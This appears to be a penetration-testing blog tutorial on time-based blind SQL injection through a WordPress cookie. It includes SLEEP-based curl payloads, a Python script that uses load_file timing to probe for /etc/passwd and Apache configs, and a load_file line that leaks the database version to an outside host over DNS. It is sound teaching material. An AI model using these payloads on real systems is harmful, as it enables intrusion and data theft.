Blind SQL Injection

Can’t see the output, but you can see the effect of the injection

Blind SQL Injection stands out as a particularly stealthy threat. Among the various techniques employed by attackers, the Timing Attack is a subtle yet powerful method that exploits the inherent time-based behavior of database responses to retrive information.

The initial here is to find a parameter that is vulnerable, by monitoring the response times:

~ $ curl -s -o /dev/null -w "Total time: %{time_total}s\n" https://www.victim.com  -H "Cookie: wordpress_logged_in=TEST%20TEST”`
Total time: 0.616676s

~ $ curl -s -o /dev/null -w "Total time: %{time_total}s\n" https://www.victim.com -H "Cookie: wordpress_logged_in=TEST%22%20AND%20%28SELECT%203181%20FROM%20%28SELECT%28SLEEP%285%29%29%29hmTp%29--%20FJBf"
Total time: 1.611624s

The SLEEP command here is what we’re going to use to enumerate data from the database.

Breaking the idea down step by step, NOTE: This is not code, just showing the logic:

If this gets the Column pass where the User Column is admin from the Table database:

SELECT pass where user is admin from database

The SUBSTRING query here will get the 1st character from the column of length 1:

SUBSTRING((SELECT pass where user is admin from database),1,1)

This would then check if the 1st character is a, and if it is it would Sleep for 5 seconds, if not then it would not do anything:

IF (SUBSTRING((SELECT pass where user is admin from database),0,1)) = 'a THEN sleep 5 ELSE 1=1

Using this process we can iterate through an array and find what each character is:

dictionary = [a-z,A-Z,0-9,!@#$%^&*()]`

for $line in dictionary`


IF(SUBTRING((SELECT PASS WHERE USER IS mysql FROM mysqldatabase),0,1)) is '$line' THEN SLEEP(5) ELSE 1=1
 if the response > 5 sec
	write $line > pass.txt
elseif

There is a more efficient way to do this, that would cause less traffic, using equal to or greater than:

If the value ≥ m then sleep 5

If the value here is m or after m in the alphabet then the database will sleep for 5 seconds. This significantly reduces time and the amount of requests.

At this point instead of enumerating each column and each table. There are easier things to concentrate on. If the database user has the ability to read a file, then we can use the load_file query. If the user is not permitted to read the file, the load_file will return NULL.

SELECT CASE WHEN (load_file({})) IS NOT NULL THEN SLEEP(10) ELSE "a" END AND "Bagh"="Bagh

This is what that might look like

import requests
from urllib.parse import quote

BaggyA0_url = "https://www.example.com:443/"
BaggyA0_headers = {"Sec-Ch-Ua": "\"Chromium\";v=\"121\", \"Not A(Brand\";v=\"99\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"Linux\"", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Priority": "u=0, i", "Connection": "close"}
dictionary = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

file_paths = [
"/etc/passwd",
"/etc/init.d/apache/httpd.conf",
"/etc/init.d/apache2/httpd.conf",
"/etc/httpd/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/apache/apache.conf",
"/etc/apache/httpd.conf",
"/etc/apache2/apache2.conf",
"/etc/apache2/httpd.conf",
"/usr/local/apache2/conf/httpd.conf",
"/usr/local/apache/conf/httpd.conf",
"/opt/apache/conf/httpd.conf",
"/home/apache/httpd.conf",
"/home/apache/conf/httpd.conf",
"/etc/apache2/sites-available/default",
"/etc/apache2/vhosts.d/default_vhost.include"]

def hexthing(s):
	return '0x' + ''.join(format(ord(c), 'x') for c in s)

hexpaths = [hexthing(s) for s in file_paths]

for hexpath in hexpaths:
	#print(hexpath)
	firstvar = 'TEST" AND (SELECT CASE WHEN (load_file({}) IS NOT NULL THEN SLEEP(10) ELSE "a" END AND "Bagh"="Bagh'.format(hexpath)
	encoded_var = firstvar.replace(" ", "%20")
	BaggyA0_cookies = {"wordpress_logged_in": encoded_var}
	#print(BaggyA0_cookies)
	response = requests.get(BaggyA0_url, headers=BaggyA0_headers, cookies=BaggyA0_cookies)
    
	print("Time taken for iteration", hexpath, ":", response.elapsed.total_seconds(), "seconds")
	if response.elapsed.total_seconds() > 1:
    	print("File found:", file_paths[hexpaths.index(hexpath)])

This technique can be used to enumerate information other than data in the database, such as the database name, the banner, the hostname the users and the users’s privileges.

A final test would be to get SSRF from the database, and maybe send files:

select load_file(concat('\\\\',version(),'.oobserver.site\\a.txt'));

Further Reading:

Hakuin Python Library for Blind SQL injection

OWASP Prevention CheatSheet

OWASP Blind SQL

Checking CVEs using the nvdlib library:

import nvdlib
import datetime

end = datetime.datetime.now()
start = end - datetime.timedelta(days=30)

r = nvdlib.searchCVE(pubStartDate=start, pubEndDate=end, key='KEYHERE', delay=30)

cwevar = r[0].cwe

for eachCVE in r:
	print(eachCVE.id, eachCVE.score[1], eachCVE.cwe)
	if eachCVE.cwe == 89:
    	print(f"This is a SQL Injection Vulnerability", eachCVE.cwe)




Enjoy Reading This Article?

Here are some more articles you might like to read next:

  • Quick Bash Fu to get an overview of a target
  • Changing the exploit
  • Internal Penetration Test Notes
  • Is the exploit not working? Keep going; don’t stop
  • Large Language Model Penetration Testing